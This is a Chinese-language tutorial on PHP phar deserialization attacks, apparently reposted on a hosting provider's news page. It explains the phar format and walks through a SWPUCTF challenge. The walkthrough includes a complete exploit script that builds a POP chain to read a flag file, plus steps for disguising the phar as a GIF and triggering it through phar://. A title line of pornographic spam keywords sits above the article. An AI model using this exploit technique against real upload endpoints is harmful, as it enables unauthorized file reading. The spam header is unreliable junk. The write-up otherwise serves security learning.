国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動態(tài)

防御吧作為15年知名老牌域名服務商,CNNIC和CANN雙認證域名注冊商,已經
持續(xù)為500多萬個域名提供服務,包括智能DNS/自由轉移/隱私保護等服務!
淺析phar反序列化漏洞攻擊及實戰(zhàn)
2021-07-16 16:33:45 【

phar反序列化漏洞很久之前就開始接觸了;因為當時出了點問題導致一直無法成功,所以當時直接去學習其他的漏洞了;今天覺得是時候把這個漏洞補上去了;


漏洞成因


phar文件會以序列化的形式存儲用戶自定義的meta-data;該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作


原理分析


phar的組成


通過查閱手冊發(fā)現phar由四部分組成;翻閱手冊可以知道,phar由四個部分組成,分別是`stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)` 下面進行解釋一下;


1 .0  a stub


標識作用,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>結尾,否則php無法識別這是一個phar文件;


2 .0


a manifest describing the contents


其實可以理解為phar文件本質上是一中壓縮文件,其中包含有壓縮信息和權限,當然我們需要利用的序列化也在里面;


image.png


圖片來源seebug


3 .0 the file contents


這里指的是被壓縮文件的內容;


4 .0 [optional] a signature for verifying Phar integrity (phar file format only)


簽名,放在結尾;


試驗


這里引用開心師傅給的一個實例;來進行生成;


```php

<?php

   class TestObject {

   }


   @unlink("phar.phar");

   $phar = new Phar("phar.phar"); //后綴名必須為phar

   $phar->startBuffering();

   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub

   $o = new TestObject();

   $phar->setMetadata($o); //將自定義的meta-data存入manifest

   $phar->addFromString("test.txt", "test"); //添加要壓縮的文件

   //簽名自動計算

   $phar->stopBuffering();

?>

```

然后在服務器之下運行,發(fā)現成功生成phar文件;


image.png


然后打開這個phar文件,我們發(fā)現已經成功;并且數據的存儲方式是以序列化的方式存儲的;


那么既然有序列化,那么就一定有反序列化,php的很多文件系統函數在通過phar://偽協議解析phar文件的時候。都會將mate-data進行反序列化。


將phar偽造為其他類型的文件


前面在講的時候已經介紹了phar的四個部分,這里注意到第一個部分stub;因為這個部分的存在,縱然我們修改了phar后綴,服務器讀取到stub的時候依然會當作phar文件;再準確點講就是下面的代碼;(二進制的編譯器有點問題,簡單用記事本來看看;)也還是可以發(fā)現是以序列化形式存儲的;


image.png


實戰(zhàn)


拿一道 SWPUCTF 中的一道題目來講;進去就發(fā)現了包含漏洞,然后直接讀取源碼,發(fā)現并沒有對phar進行過濾;而且源代碼里有提示,所以差不多實錘了,就是phar反序列化漏洞了;


直接來對關鍵的代碼進行分析;class.php


這里面看到有三個類,再明顯不過了,這就是主要的pop鏈的構造處;然后發(fā)現了危險的函數 file_get_contents();那看來就是利用這個讀源碼了;


image.png


一步步分析;先看到C1e4r這個類里面有echo;那要利用echo;以達到輸出字符串的目的;


image.png


然后看到show類里有一個 __toString()方法,這個方法在對象被轉化為字符串的時候會自動調用;比如進行echo print的時候會進行調用并返回一個字符串;


image.png


然后審計Test類,發(fā)現file_get_contents()函數,那就是利用了;一步一步向前追溯  file_get->get->__get();這里主要還是調用__get()方法;


那么這里思路差不多清晰了;簡單來講;在test類中要調用__get方法,那么觸發(fā)這個方法我們需要在show類里尋,因為這個類里面運用了source屬性,所以只需要將 str['str'] 賦值為 Test類就可以,那么觸發(fā) __toString()方法就需要用到我們的第一個類里面的echo了;


那么思路清晰就構造處pop鏈;


exp編寫


<?php

class C1e4r

{

   public $test;

   public $str;

}


class Show

{

   public $source;

   public $str;

}

class Test

{

   public $file;

   public $params;

}

$c1e4r = new C1e4r();

$show = new Show();

$test = new Test();

$test->params['source'] = "/var/www/html/f1ag.php";

$c1e4r->str = $show;  

$show->str['str'] = $test;


$phar = new Phar("exp.phar");

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($c1e4r);

$phar->addFromString("exp.txt", "test");

$phar->stopBuffering();

?>

生成phar文件,改后綴為gif繞過限制,上傳之后進入upload目錄之下(或者根據源代碼算出上傳后的文件名),復制文件名到讀取文件的窗口讀取   file=phar://xxxxxx.jpg然后得到base64的編碼解碼就好。


PHP安全特性之偽協議 http://hetianlab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee&pk_campaign=maibo-wemedia(通過該實驗了解php中的偽協議的應用及攻擊手段研究,能熟練使用burpsuite、中國菜刀等安全工具的使用。)


】【打印關閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇云計算的普及,存在那些安全風險? 下一篇云服務器如何防止CC攻擊

立足首都,輻射全球,防御吧專注云防御及云計算服務15年!

聯系我們

服務熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權所有 增值許可:京B2-20140042號
售前咨詢
公司總機:18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術支持
售后服務/財務
備案專員
緊急電話:18610088800